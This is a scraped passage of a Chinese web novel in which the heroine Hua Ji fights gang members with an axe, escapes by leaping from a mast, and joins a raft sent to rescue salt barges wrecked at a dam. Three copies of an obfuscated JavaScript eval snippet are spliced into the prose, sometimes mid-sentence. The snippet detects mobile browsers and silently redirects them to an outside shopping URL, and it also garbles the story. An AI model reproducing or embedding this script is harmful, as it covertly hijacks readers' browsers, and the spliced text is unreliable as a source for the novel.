一次又一次，纵然人力如何渺小无依，心底却总有一份弥天的希望翻卷涌动，从未言弃。 红姨手撑着拐杖抬起头，惯于凌厉的眉眼就那样软了下去，她看向花棘，眼眶湿着，郑重地点了点头。 花棘看着面前苍老孱弱的老人，再紧要的关头，怕是多一句话的功夫还是有的。 她嘴唇轻启，刚要说些什么，后方河堤边倏尔传来了激烈的吵闹声。 转头看去，黑压压一片陌生的人潮，粗略估计怎么也要在三十人往上，正来者不善地靠近。 没时间耽搁，花棘神情复杂地看了红姨一眼，急匆匆地就往过跑。 才迈开一步，左边的一侧手腕便被人牢牢抓住了。 她回头，略有疑惑地看着红姨的眼睛。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17073554|190989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “一定要平安归来。” 红姨哑声说着，语气里没了疏离，唯有一个老者悲切的祈愿。 花棘不知道该回些什么，但她发现自己被握住的手腕处，正传来一阵接着一阵的暖意和潮湿，它们都来自于红姨柔软的手心。 这时，红姨望着她又道了一句：“你自己也是。” 老人说完，拐杖朝河堤的方向斜斜一伸，脊背弯曲，迈步小跑着就冲了出去。 红姨速度不快，是花棘先赶过来的。 她没有急着暴露自己的位置，而是找了一处隐蔽的角落，先观察一下眼前的情况。 会卡在这个节骨眼上出现的人，不是漕帮又能是谁？ 漕帮内这一股第三大的势力，近几年才长成了气候，几乎是跟着后狭新区一起发展起来的。 花棘还不知道，林玉溪是因何得到的运送漕盐的差事，而正在奋力跃起的长蛇，怎可轻易叫他人染指了前程。 她还在推演各种可行的计划，拼着半条老命赶过来的红姨，冲上前挑了个算是领头的人，一拐杖就捶了上去。 莫名增多的漕帮人，截住了着急入水救援的男人们，砸烂了好不容易搬到一起的物资，踹倒了奔走的女人和孩子...... 漕帮人这不是在阻拦他们救人，这群猪狗不如的畜生，分明是想要后狭所有人的命。 压抑至极的愤怒，再也忍无可忍，所有衣衫褴褛的苦命人，全部拿起了镰刀，拿起了石头，狠命砸向血肉模糊的屈辱与不堪。 默默整齐挺立的四合院落分列一旁，晶莹无量的漓江水奔涌向地平线遥远的尽头，偏两端巨大的安详间，夹杂着一片充斥血腥与癫狂的炼狱人间。 百年杨柳低垂沉思，枝头上飞鸟争相逃窜，白云拉扯四散。 这里不是可以落脚的家园。 不行！ 花棘抹掉脸上的血迹，将所有散落下来的头发尽数拨开，明明白白地露出了自己的样貌。 漓江上受困的两百多人，八艘船的官盐还等着他们去救。 他们不能就这样，被拖死在这里。 她一手紧握着短斧，快步走了出去。 被里外三层包围着的人群正中，一位趾高气昂的漕帮头目，刚拿长刀吓唬走了发狂偏要冲上来的刁民，身后也不知是哪个不长眼的，突然过来拍了他一下。 “谁呀？” 他没好气地回过头，刚看清楚来人，一把又锈又钝的破斧子便劈了下来。 短斧正砍在他的脑门，西瓜一样的头骨应声开裂，脑浆混着血流进了眼睛里。 临归西前，他看到的最后一个画面，是那张与通缉令画像上别无二致的脸，正像活阎王一样，满面是血地靠近他，冷声道： “得罪了，在下花棘。” 混乱在硕大的震慑中彻底静止了一瞬，待对峙双方均看清了来人是谁之后，交战一触即发。 漕帮人整洁体面的衣着很好分辨，花棘再不收着，提了短斧专朝人的脑袋上砍。 拥有现代格斗术傍身的她，一般的古代人休想来拿住她。 她一边在人群里疯狂地挥砍着，一边高声冲着半空大骂了一句： “程谨行！你他妈是死了吗！” 程峰这里刚带着人，小心将官府的一众杂碎全部打残到爬不起来，转头就吃了一脑门官司。 早知道就该多带点人来的。 任谁能想到，平日里看起来瘦弱单薄，每天握笔伏案的女先生，拎起斧子来还能这么一鸣惊人。 他哪里敢懈怠，抽空活动了一下全身关节，嘴上连连应着：“路上了。” 将漕帮人的仇恨全数拉来自己身上，被无数刀棒相加的女子，也不知到底听没听清他这话。 急行而至的路上，只又听得那道清冷的声音高喊道： “叫所有人先走，我来殿后。” 29.第二十九章 因为长刀在各个角度的格挡，以及不停砍剁在人骨上的磨损，短斧的尖端早残破不堪。 落在人身上的杀招，渐渐从断臂碎骨，变成了毫无章法的狠砸，锋利难再。 花棘杀红了眼，利器楔入进血肉里，那一瞬间的黏腻和摩擦，她已经感受不到，更遑论什么恶心。 被文明社会规训了二十几年的高层精英，原来也可以在这样短的时间内，变成杀人不眨眼的魔鬼。 又是一记三四个长刀交叉在一起，接连落下的挥砍，一个刁钻的闪躲姿势，让她身体失去平衡，朝着一侧偏倒了下去。 肩膀摩擦到地面的刹那，她甚至没有功夫检查自己身上，是否少了某样四肢，便动作快过理智地举起斧子，朝离自己最近一人的头猛砍了过去。 可惜速度慢了些，叫那畜生张牙舞爪地给躲掉了。 不过，短斧收回的间隙里，她看到有什么东西，从那人的头顶飞了出去。 大概是耳朵吧，不知道，灰尘太大了，根本什么也认不出。 什么是良知？ 什么又是道德？ 她曾自诩至少是一个有良知，有道德的正常人，因而，会对每一个生命的降生和逝去心有敬畏。 但此刻她却觉得，那些平和而美好的岁月都是梦境，眼前吃人的世道才是真实。 她没有那么多的欲望，不过是想活下去，讨一份迟来的正义，然后光明正大地行走在阳光下。 可弱者呐喊的声音太小了，她必须要比那些想要她命的恶人们更阴险、更歹毒，才有成功的可能。 程峰这一趟带来的人不多，三拳难敌四手，一波一波的攻势不停向她压来。 即便她能够调动起自己所有的注意力，保持状态，躲闪与挥砍并行。 可几分钟的时间过去，她的衣裙上还是被开了不知多少道口子。 肩头方才还在飞扬的帔帛，也早不知丢去了哪里。 花棘压低眉眼，视线全在那些从四面八方狂砍而来的长刀上，任何一处细小的伤口被感染，在这个时代，没有及时细致的处理，破伤风都可能要了她的命。 后面要走的路还很长，她不能倒在这里。 身型交错闪过的缝隙里，不远处河堤边还剩下的人数量越来越少，她没有多少时间了。 然而，虎视眈眈呲着獠牙的畜生，围了一层又一层。 男人们既比她高，又比她壮硕。 她被困中间，环望向四周的时候，犹如陷落在暗无天日的深谷。 握着短斧的右臂酸痛到麻木，双腿只要一停下，就会不住地发抖。 她于是将自己当成是已然死去的恶鬼一般，想象着所有的疲惫与疼痛早已长在身上，如此，狰狞地看向那些人。 她就是要冲出去，无论如何，她也不会向这些畜生们低头。 欺压上来的人动了，花棘也动了，体力透支的身体尽然动作稍慢，但那蓄力砍出的势头却不减反增。 短斧在避开长刀的同时砍偏了，一下只擦到了领头一人的肩膀，可谁知，这人紧跟着平白自己倒了下去。 视野骤然开阔，花棘这才看到一把自半空中落下的长耙。 五六个黑脸汉子猛地一齐涌了出来，几人手里拿的，均是长把耐砍的农具，彼此配合着没一会儿，便将就近的人全给放倒了。 “花棘姑娘，快走！” 跟着他们向河堤边跑的路上，花棘瞧见那里仅剩最后一艘竹筏，却因为该走的人都已经走了，加之漕帮人已然知晓，她之所以还会留在这里，便是计划着要和这些人一起去救人。 故而，眼下所有人的注意力，都落在了这一艘竹筏上。 花棘看着身边冒险留下救她的几人，她很清楚，光靠他们是保不住这艘竹筏的。 “分两路跑，不必等我，竹筏下水后，直接走。” 花棘说着，将手中的短斧一扔，俯身快速捡起一把长刀。 旁边几人没有理解这个叫花棘的女子是什么意思，她是......不想和他们一起去了吗？ 可红姨特意交代，要带这个女子同往，才有可能将货船完好地带回来，玉溪才有救。 “花棘姑娘，你——” 有人刚要开口询问，花棘便干脆打断，径直回复道：“我追得上。” 她在一边跑，一边不停地朝高处的各个方向扫视。 不多时，视线在她先前站立过的，残败的船只顶端停留了下来。 “快！” 最后一次催促过后，花棘朝着船只甲板的方向，头也不回地狂奔而去。 参与救援的青壮年们，该走的全部都已经跟船上路了。 初秋高挂的日头当照，河面上正对着光线望过去，渐渐只看得见一个个定格成黑点的影子。 后狭人自小便和水打交道，只要上了船，漕帮的人就很难追上他们，水里，是属于他们的主场。 此刻，难的是河堤边，这最后的几十米。 留下的几乎都是女人和幼童们，后赶来这一波漕帮人的势力，已然是压倒性的。 “程谨行！” “明白！” 程峰和他带来的几人，也被花棘安排去了竹筏边帮忙，眼下只余她一个人，脚踩一片血路，总算重新爬回了甲板上。 手举长刀从四面八方赶过来的漕帮人，被杀疯了的花棘激出血性，活像一群亮着獠牙，赶来抢夺猎物的鬣狗。 而鬣狗成群出现的地方，就连猎豹和雄狮都不是它们的对手。 但这种时候，谁最怕死，谁先死。 花棘立于高处环顾着扫了一眼，大概预估了一下这群人到达的时间后，便抓起桅杆旁垂落的麻绳，向着最高的顶端爬了起来。 另一边，一直守在竹筏边的何川，好歹在几位黑衣人和同乡们的协力下，将竹筏推入了水里。 并硬抗着漕帮人的干扰，勉强用竹篙撑着，把竹筏稳定了下来。 其实，当看见花棘停在桅杆底下的时候，他就猜到那个女子是要干什么了。 但无论花棘想出了什么办法，要赶去救人，最终靠的还是他所撑的这一只竹筏。 漕帮人显然也明白这一点。 从竹筏入水之后，打斗也跟着来到了水里。 长不足五丈的扁舟四周，尽是半身浸在江水里，不顾一切砥砺守卫的人。 他们哀鸣低吼，他们寸步不让。 何川不知道花棘到底有多大的把握，可他现在必须尽快将船撑到水深处，不脱离开漕帮人的干扰，他既迎不回花棘，也没办法远行。 他弯腰屈臂站在竹筏上，用以撑篙的青竹被他拿在手里，足有丈余长，于竹筏两侧交换着快入快出，胜在灵活多变。 漕帮人见干扰竹篙不成，要靠近竹筏又有诸多阻挠，转而将人力全部汇聚到一点，集中破坏竹筏左后侧绑着的麻绳。 两相拉扯间人在竹筏上很难保持平衡，而竹篙光是在河底短暂的支撑根本不够，这样的速度太慢，他需要一个可以控住竹篙，稳定蓄力的瞬间。 “大家再坚持一下，稳住！” 何川在人群正中大喊着，少年的身形尚显单薄，沉着冷静的侧影却不动如松，竹篙在他的手中翻转似长枪，游走若青龙。 “一定要稳住！” 听到何川的叫喊，竹筏尾端一个赤裸着上半身的汉子骤然发力，双臂大展着猛扑而下，以一人之力，硬是将漕帮中的两人拉入了水下。 噗通！ 随着一道硕大的落水声过后，旁边几人见状，也纷纷跟着效仿了起来。 就这样，大家硬是拼着以命换命，为何川争取出宝贵的时间。 青色竹篙在半空中划出一条飞扬的弧线，篙头垂直刺入水底，深至数寸，令篙身微弯， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17078347|190989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓄力待发。 站在竹筏前端的何川双足稳立，重心持续下移，而后猛然挺腰直臂，用尽全身的力量压篙，直至篙身弯曲如弓。 此时他脚下的竹筏，便如同长弓上的箭，迎风飞射而出。 经此一番，漕帮众人休想再追上他。 何川在收篙的间隙里，焦急地向着身后望去，只见河面上白浪翻涌不停，水下暗流震荡，生死莫测。 但很快，有人高昂起头，挣扎着跃水而出。 一个又一个黑色的身影，在波光粼粼的浪花里，远近相接地连成了线，正是他最熟悉的同伴们。 何川狂跳不已的心，终于也跟着落定。 因为接下来，若论游水，没有人比得过河边长大的后狭人。 眼下，只剩最后一处悬而未定。 他接着视线偏移，抬头望去了河堤边。 残破船只的桅杆上，那一抹绛红色的身影已经爬至中段，可就在她的正下方，好似黑色鬼影一般的漕帮人，依旧如蛆附骨地追着。 低飞的信鸽紧贴着河面倏尔滑过，又在眨眼之间振翅在翠绿的树梢枝头，娇小玲珑的一点，稍有不注意，便隐没于宁静旷远的蓝色天幕。 在它身后，飞扬的红衣挺立于桅杆一侧，是废墟上升起的孤帆，也是烈日下不灭的旗帜，所有的怒骂与鼎沸都将被踩在脚底，无谓的姿态，永恒定格。 高空的风声回荡耳畔，犹如凶兽咆哮，花棘的手每向上抓握一段，离开时，都会在麻绳上留下一个清晰的红色掌印。 但完全专注在攀爬上的她，对两手手心传回的痛觉早已麻木。 前世她参加过的体能封闭训练，都是男女混在一起的，女性在力量上的先天不足难以弥补，想要拿到出色的成绩，就只能另下苦功，将技术方法磨练到极致。 凭蛮力攀爬的古代漕帮人，不可能追得上她。 在这里，她的敌人只有自己。 花棘牙关咬紧，摒弃掉所有多余的念头，她眼中只有一个制高点，无论如何她都要到达那里。 正当她双手抓着麻绳，一只脚向上蹬踩稳固，另外一只脚重新向上探去的关口，脚下桅杆忽而剧烈晃动了起来。 意外猝不及防，花棘准备不足，脚下踩空的一瞬间，身体重心失去平衡，整个人向下极速坠去。 桅杆的总长度预计接近二十丈，约有六十米，是二十层楼的高度。 她现在停在三分之二的位置，只要掉下去，都不用再麻烦漕帮的人动手，她直接就能变成肉泥。 尽管两脚踩空失去控制，悬荡开的花棘，双手依旧死死地抓着麻绳。 身体巨大的惯性，叫麻绳从她手心向下撸了足有半米，却在一只脚重新踩回桅杆上的霎时，牢牢地停了下来。 花棘只向下匆匆看了一眼，连情绪的波动都没有，便继续专心向上爬去。 怂包们见追不上她，又动了脏念头。 他们开始奋力摇晃起桅杆，试图让她自己失误跌下去。 花棘就像是扎根在悬崖石缝里的野草，任风霜雨雪，严冬酷夏，都不能动摇她的身体分毫。 攀爬时双脚的每一下落点，双手发力的姿势，身体与麻绳、桅杆之间的角度......所有的这一切，早在成千上万次的练习中，烙印进了肌肉本能。 她需要战胜的只有自己。 过了不知多久，呼啸的风声里混杂进了一阵阵沉闷的顿响，重响落下的同时，花棘脚下的桅杆也跟着剧烈震动了起来。 无需再往下看，只听声音她已知道漕帮的人是在干什么。 所以这一次，她的眼睛只看前方，注意力只在自己的脚下。 终点，正在离她越来越近。 重斧挥砍在桅杆底端惊出的巨响愈发密集，花棘到底没能爬至终点，最后五米，桅杆开始有了倾斜的趋势。 来不及了。 30.第三十章 漕帮人要砍，桅杆倾倒的方向自然是背离河堤的。 花棘原本的计划，是在到达桅杆顶点后，再尽可能地往江水中远离河堤的更远处跳。 这样有了足够的距离优势之后，既能缩短她到达竹筏前的路程，又可以叫漕帮的人追无可追。 可如今，少了六分之一的高度，起跳落水的抛物线必须同比例做出调整。 甚至，她根本就无法顺利入水。 即便能侥幸跃过硬石铺就的河堤，近岸处的浅水区跳进去，也可能是致命的。 不过好在，现在也并不需要她做什么选择，原地等待直接掉下去，只会让她死得更快。 跳，还有一线生机。 如何在这种时候，判断好最佳的起跳时机，提高自己的成功率，才是她应该考虑的事。 重斧劈砍的频率无法作为参考，待脚下桅杆的震动停止时，一切就已经晚了。 花棘在脑海中快速推演着，各种可能出现的情况，但在大跨着向上迈出最后一步后，她猛地双腿屈膝蹲了下来。 既然等不到最佳时机，那当下的这一刻—— 就是最佳时机。 她调整好确定的角度，两脚当即拼尽全力向下一蹬，而后再不管其他，干脆利落地飞跃而出，孤注一掷。 就在花棘斜跳向前飞速下坠的同时，身后的桅杆底部，突然传来一声刺耳的裂响，几十米高的长柱轰然向下倒去。 与之相反的方向，阳光下一抹纤细修长的绛红色身影，衣袂翻飞，犹如天际上空坠落而下的飞鱼，淅沥入水，惊起一汪久久不散的涟漪。 被惊扰了许久的一隅天地，忽而在这一刻后悄然静止。 无数双眼睛都在死死地盯着花棘落水的位置，只因那里正是近岸河域，水深难以预料。 是生，是死，难以预料。 接着，只须臾的功夫，随着河岸边传出的一声清脆的鸟叫，一道清丽的身形骤然跃出水面。 花棘成功了。 漕帮人眼见这样都没能弄死这个女人，当即紧随其后，三五成群地也都跟着跳入了水里。 花棘朝远处看了一眼竹筏的距离，闻声，回头不屑地扫了一眼，目光高傲而挑衅。 她兀自在心里发泄地放肆狂叫： 来啊！ 试试看，在水里抓到我！ 与此同时的另一边，翘首朝着花棘方向望去的汉子们，俱是忍不住摇头长叹。 “这下可怎么办？” “这，女子游水的速度，如何比得过身强体壮的男人啊。” 经历过方才那些一连串的变故之后，后狭的大部分民众们，已然看出了花棘绝无可能是大恶之人，也不再完全相信通缉令上莫须有的罪责。 特别是他们这几个在最后时刻，见识过花棘拼命为他们引开漕帮争取时间的人。 所以，几人更不愿在眼看就要成功的关口，干等着看这个可怜的女子出事。 “是怎么说，要不要去人接应一下花棘姑娘，我愿意去！” “我也愿意！” “不行！” 正在撑船的何川突然喝止了众人，他连停下来多等一会儿也不肯，只稍显减慢了一些速度。 “小川，是你刚才不在，有些事可能不知道，其实花棘姑娘她......” 众人还以为是何川仍对花棘有很深的误解，谁知，那少年径直打断了他们的话，别扭地转过头去，闷闷地来了一句： “让她自己追上来。” “哎，小川，你别这个时候耍什么孩子气，你忘了红姨是怎么嘱咐的了吗？” 一人刚规劝了一句，身旁同伴忽而将他拉去船尾，手指着远处不停波动的河面，惊问道： “看！快看！那是什么？” “那是......” 被问及的人一时失语，因为他好像看清了什么，但又在巨大的震慑中，无法轻易确信自己的眼睛。 秋风轻拂过河面，暖阳高挂漫洒下万丈金光，有一只鲜红的羽箭，正在刺破鳞波。 不敢想，花棘游水的速度，竟然会这么快。 可那随着双臂摆动，持续荡开在水波中的鲜红，不会是她的血吧...... 竹筏上骤然高涨起来的情绪，很快便在无声中低沉了下去，汉子们脸上的神情都跟着凝重了起来。 不。 事情似乎又不是他们担忧的那样。 一直到现在，花棘游水的速度始终不减，若是一个正不断失血的人，如何还能坚持至此。 如此，那便只有一种可能了。 此刻流淌在河水中，被她远远甩在身后的，是所有追赶者的血。 这到底是怎样的一个女子，众人心中满是疑惑，她看起来明明只比小川大几岁，该是都经历过什么，才会成了现在的样子。 他们就这样平静地遥望着，眼见金光中的红色彩带被越拉越长，恍惚间，仿佛能够在浮行其中的女子身上，看到某种期盼的神性。 涌动的水流无时无刻不在冲击五官，花棘还在全力冲刺着，只在特定的频率里，交叉着将一侧眼睛睁开一个小缝，去确认几里之外的目标情况。 由于衣服上沾的血实在太多，她注意到在入水后的很长一段时间里，身旁荡开的水浪都是红的，简直是无比新奇的体验了。 对于需要长期在海上作业的人来说，所掌握的长距离自由泳技法，是在关键时刻保命用的。 但人的体能终究有限，她一定要尽力维持住最快速度，也是因为知道自己说不定什么时候就不行了。 当下正是肾上腺素最高涨的时候，她无非是在强撑着最后一口心气。 前方竹筏的轮廓越来越清晰，大概只剩下一千米了。 花棘在心里始终不停地鼓舞着自己，她可以，她一定可以。 然而事实却是，她明显感觉挥动的手臂两旁，水流向后划去的速度在越来越慢。 两臂、腰身、臀部、双腿，所有在游泳行进时，该保持的姿态都没有变形，依然每一个动作她都在拼尽全力。 但...... 身体就是不肯再动了。 花棘回头望了一眼，见后方追来的漕帮人距她还有一段路，她这时只能悬停在水中，让脱力的四肢先休息一下。 可随后转身回来再一抬头，眼前被她盯了一路的竹筏，怎么突然变大了呢？ 身侧的水流依旧是平静的，不是她在动。 是又过了一会儿，后知后觉地，迟钝的大脑才反应过来。 那是竹筏正在向她奔来。 花棘迎着光，能看到的只有竹筏上所有人的站立身影，他们与漂浮在江水上的竹筏融为一体，转瞬即至。 原本等待在天边模糊、渺小的轮廓，忽而变得明朗、硕大，花棘抬头仰望，只觉得比蓝天下光芒万丈的太阳，还要耀眼夺目。 竹筏行进的速度很快，近三米长的竹篙每一次收起，都仿佛要直插进天际。 中间一次停留的顿挫，撑篙人手中的青竹在伸出后，莫名转了一个方向，竟直朝着她而来。 花棘疲惫至极地笑着，摇摇地扬起了手。 待追了一路的漕帮人，眼看着终于快要赶上时，竹筏又在何川的操控下，以一记蓄力后的疾行，倏尔飞射滑出，向着漓河更深处驶去。 几个上身赤裸的黑脸汉子一起，麻利地将花棘拉上船后，赶紧手忙脚乱地全都跑去了船头，老老实实地背过身去。 就这与陌生年轻女子同船的闲话，回去还不知道，该怎么跟媳妇儿怎么交代呢。 行进至彻底看不到漕帮人的影子后，何川向身边的同乡示意，将手中的竹篙转了出去。 先前还态度强硬的人，在发现花棘游水的速度慢下来后，都没和谁商量，直接自己第一时间调转了竹筏，以最快速度赶了过去。 这里属他的年纪最小，这种时候，也就只有何川还敢往船尾去了。 传闻中被各种夸张神化的花棘，其实就那样。 她浑身湿透，半曲起一条腿，上半身弓着，紧贴在竹筏边坐着，看起来和村子里其他的小姑娘也没什么区别，一样都瘦得跟杨柳枝似的。 竹筏上太阳晒了好一会儿，他身上的衣服都干得差不多了，何川看了看花棘两肩处，紧贴在衣服上支出来的骨架，抬手解起了勾子。 “喂！”他朝坐在下面的人叫了一声。 刚一叫完，却又扭着脸故意将视线移开了，只将一侧举着外衣的手臂，往花棘的方向伸了伸。 “不用，多谢。” 回应他的是一道淡淡的，清冷的女声。 何川听过，当即气恼了起来，这女的不是很聪明吗，怎么这么不识好歹啊。 他急忙转头看过去就要说些什么，不想，正对上花棘半仰着头，微眯了眼睛看向他的目光。 他感觉到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085360|190989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，自己的两边脸颊，几乎是立马就烧起来了。 这还是他第一次看清花棘的脸，和之前蓬头垢面，满脸都是血的样子完全不同。 此刻眼前的花棘，被漓河水冲洗过的脸颊，干净得简直有些苍白，却反衬得那一双有些英气的眉眼，清晰得像是他之前看过的，那些山水画上远峰高处的重墨。 她眸子的颜色很深，如同是夜晚月光下缓慢流淌的江面，清澈、透亮，有星子的倒影在里面。 花棘脸上始终没有什么表情，但何川就这样被她盯着，总能感觉到一种无形的压迫和疏离。 这样的花棘和他之前见过的那些女孩子很不一样，就...... 他想不明白。 总之...... 总之，就是很不一样。 视线慌忙错开，他强硬地将外袍丢在花棘手边，转身快步回到了船头。 外袍材质是未经染色的灰白色葛布，是这个时代社会底层穷人们最常穿的颜色。 花棘看着手边的长袍，愣神了好一会儿，才拿起来披在身上。 体力透支的虚脱，让她大脑的反应变得缓慢，回想过去小半天的经历，她实在忍不住苦笑，自己怕不是顺便参加了一场铁人三项。 她并不冷，江上秋风吹来，刚好带着一丝舒服的凉意，肾上腺素刚刚退去，身体各处更多的感觉都只有麻木。 眼前这件外袍更重要的意义，是她需要领这份情。 八艘九丈长的货船被困，在组织营救时，需要同时调动的人数会很多很多。 她一个意外闯入的外来人，又背负着那么些风光伟岸的“战绩”，别说指挥了，光是要介入其中恐怕都是道大坎。 所以，她至少也要先获得其中一两人的好感。 花棘盯着那道的背影，很明显人是被她给惹到了。 少年背离众人找了处清净的角落，气鼓鼓地一屁股坐下去后，便谁也不理，自己一个人对着江面发起了呆。 少年袒露出的两臂，看不出有多惊人的肌肉，竹筏上其他更为年长的水手们，撑篙的经验也必然要比他多得多。 可方才那般险象环生的情况之下，众人却放心将竹篙交给了他，足见其能力与天赋。 这一点倒是和她自己很像，他们都是需要用技法，来弥补经验和力量的人。 对于梅别鹤推荐的林玉溪，花棘一直好奇，这个人到底会有什么样的本事。 而在如此危机之下，会被林玉溪派回来寻求救援的人，也一定有他的道理。 眼前这个叫小川的少年，绝不简单。 小川是那种很清爽明朗的少年人长相，五官都不算突出，但是汇聚在一起，能够让每一次情绪变动时的表情，都显得灵动又鲜活。 这样的青少年，即便是放到现代，也一眼就能让人看出他的机灵聪颖。 但—— 花棘长叹了一口气。 前世今生，活了两辈子的“花棘”们，似乎都不太擅长人事交际。 刚才人主动过来打招呼帮忙的时候，她原本是没想要拒绝的，真的。 她明明都已经虚脱成那样了，方才纠结挣扎的时候，一侧背着的手指，还在不停地抓捏自己的衣角。 可谁让有些话卡在喉咙里，就是说不出来，等到最后说出口了的......又把人给推远了出去。 哎。 花棘悻悻地移开了目光，只能走一步看一步了。 初秋午后的日头还是有些毒的，但对现在满身潮湿的她来说，反而刚刚好。 “山随平野尽，江入大荒流。” 凝望着眼前的江景，与绿水两岸的青山环绕、红花翠柳，李太白的名句自然而然地从脑海里冒了出来。 扁舟疾行，波涛从容流淌，慵懒地依靠在难得的悠闲里，花棘不觉间，再次涌起了恍若隔世的感觉。 寥寥天地，江河湖海诡异地重合着，仿佛变得只有两岸的景色。 从村落楼阁到霓虹大厦，从小桥流水到铁轨倾轧。 从物是人非的未来，到现在。 身体巨大的疲惫感如排山倒海一般碾压而来，花棘觉得很饿，还渴，正昏昏欲睡的时候，耳畔边传来了交叠的人声。 紧随其后的，是跟着江风一起扑来的，浓浓的盐水味。 睁眼，前方一片混乱，几十艘相继赶来的小型货船与竹筏拥堵在一起。 狭坝，到了。 31.第三十一章 拥堵只在刚刚到达时的头几分钟，没多久，前面船的人便传来了详细指令，大家所撑的竹筏与货船，全部一个紧挨着一个，依次朝狭坝的方向靠近着。 多数前来救援人停靠的位置被疏散开后，更深处露出来的地方，一进一出，两条行船动线正有条不紊地运作着。 进去的一队全是空船，出来的那边，则是每艘船上都堆满了从被撞毁的货船上，拆下来的各种碎木。 碎木均被沿途就近堆放在了河岸两侧，光是路过看着，都觉得触目惊心。 花棘甚至在其中一艘船上，看到了漕运货船硕大龙骨的一部分。 如此便意味着，八艘货船里已经有一艘，或者多艘注定沉没，神仙难救。 迎面有风吹拂在脸上时，随之充斥入鼻腔里的咸味，会让她有置身于汪洋的错觉。 可这里是淡水湖。 交错而过的两条路线中间，许多看起来眼熟的鱼，都瞪着空洞的眼睛，翻起了肚皮，随波逐流地飘着。 以及，各种来不及逃走的两栖动物们。 对于绝大多数淡水生物而言，突如其来的高盐环境，破坏了细胞渗透压平衡导致的脱水，都是灭顶之灾。 反而是每一个在船上忙碌的身影，倒更显得平静和从容。 虽说发生了货船倾翻，但这里前后相连数里，整个现场的声音，都还没有刚才在河堤边，和漕帮人发生碰撞时的大。 大家都是常年在漓河上走水的人，对突然发生的事故，心里有承受的能力。 更何况这一次船上的货物还是官盐，干系的是所有人的身家性命，巨大的惊恐压塌了惊慌，剩下的便只有肃杀。 “天下之赋，盐利居半。” 自古以来，官方严制控盐，都是朝廷用以维护中央集权，保证社会安定的重要手段。 九丈长的货船，运力通常是八百石，官方原定的运输船数是十艘，也就是总计八千石官盐。 这样的体量，必是漓州及其相邻三州的人口全部加在一起，才有可能覆盖。 ......事情不太对。 漓州城内大小漕帮盘踞，每一股势力之下，都养着自己的船队和船员们。 运送三州人口一季度用盐总量这样的肥差，何以会轻易落到林玉溪这个，无权无势又无背景的人身上呢？ 花棘心有疑惑，再加之一路看下来，众多起初与后来赶到的船员之间，配合、协调，无不齐整默契，使得她对林玉溪的好奇，又重了几分。 他们暂时还是没有看到出事的货船现场，因为竹筏正在爬坡。 在整个漓河四百七十多公里的水道上，途径狭坝的这几里路算是相当特别的了。 河流自西向东，一连两个地势的至高点，都出现在了这一片，而狭坝所处的位置，则刚好是两个高处之间的低谷。 因为长期受到一侧激流的冲刷，故而狭坝处人工修建的防护水坝，一直是朝廷漕事的监督重点。 同时，这里也是行船中尤为险要的一段路。 眼看着前方的船只一个接一个爬升到至高点，在轮到他们的竹筏时，水位停止与急速下降的一瞬间，豁然开朗的景象，让船上所有人都倒吸了一口凉气。 雄伟壮阔的货船船队头尾相接，于青山绿水之间纵横绵延，自水势最低处逆流爬升，蜿蜒起伏，如同漫步在水中的层层峰峦，后又中断在远处水天相接的边缘。 然而，船队前端，水道最低段狭坝处的头船，几乎粉身碎骨。 头船的船身已经被拆解得，仅剩随龙骨延伸出来的残肢，但仍旧能够窥见事故发生时的惨烈。 船队内多艘船只从后方高地势顺流而下时，带动江水对堤坝的冲击，在短时间内超载，致使堤坝从下至上被快速冲毁，挤压的淤积逃逸。 头船行进至此，一经陷落，再要做些什么，便都晚了。 不受控制的船头斜撞上河岸，船尾横冲叫碎石挤压而过，猛然间的急停，让本就在顺流加速行进的后船，更加没有反应的时间。 最终，两艘超载货船一起再度碰撞。 连锁反应的影响一直持续到第四艘船，才总算递减结束。 第二艘船前半段的龙骨损坏严重，要重新修好起航，估计会很困难。 第三艘船看似船头的位置撞击痕迹骇人，但没有伤到龙骨，继续行进不成问题。 到了第五艘船便看不出什么破损的痕迹了，后面的第六、第七艘船，则更是距堤坝还有一段距离。 过了至高点，随着猛然下降的水势，竹筏很快来至底端的狭堤坝处。 花棘一路上只看到了七艘船，第八艘船因为是跟在船队的最后，尚没有行驶过后方的另一个高水位处，及时收到减速急停的通知，才得以置身事外。 此时，受损严重的第一和第二艘船，正由经验丰富的老船匠们指挥着，进行条理清楚的快速拆解，为后面货船的通过让出位置。 被彻底冲毁的水道里，还留下了零星凸出在水面上的硬石，毫无规律可言的错落分布，叫后续货船的行进更加举步维艰。 而如此，还只是水面之上清晰可见的部分，好似极地附近经常出现的冰川，真正庞大与危险的，都潜藏在水下深处。 只不过，现在还远没到该考虑这一步的时候。 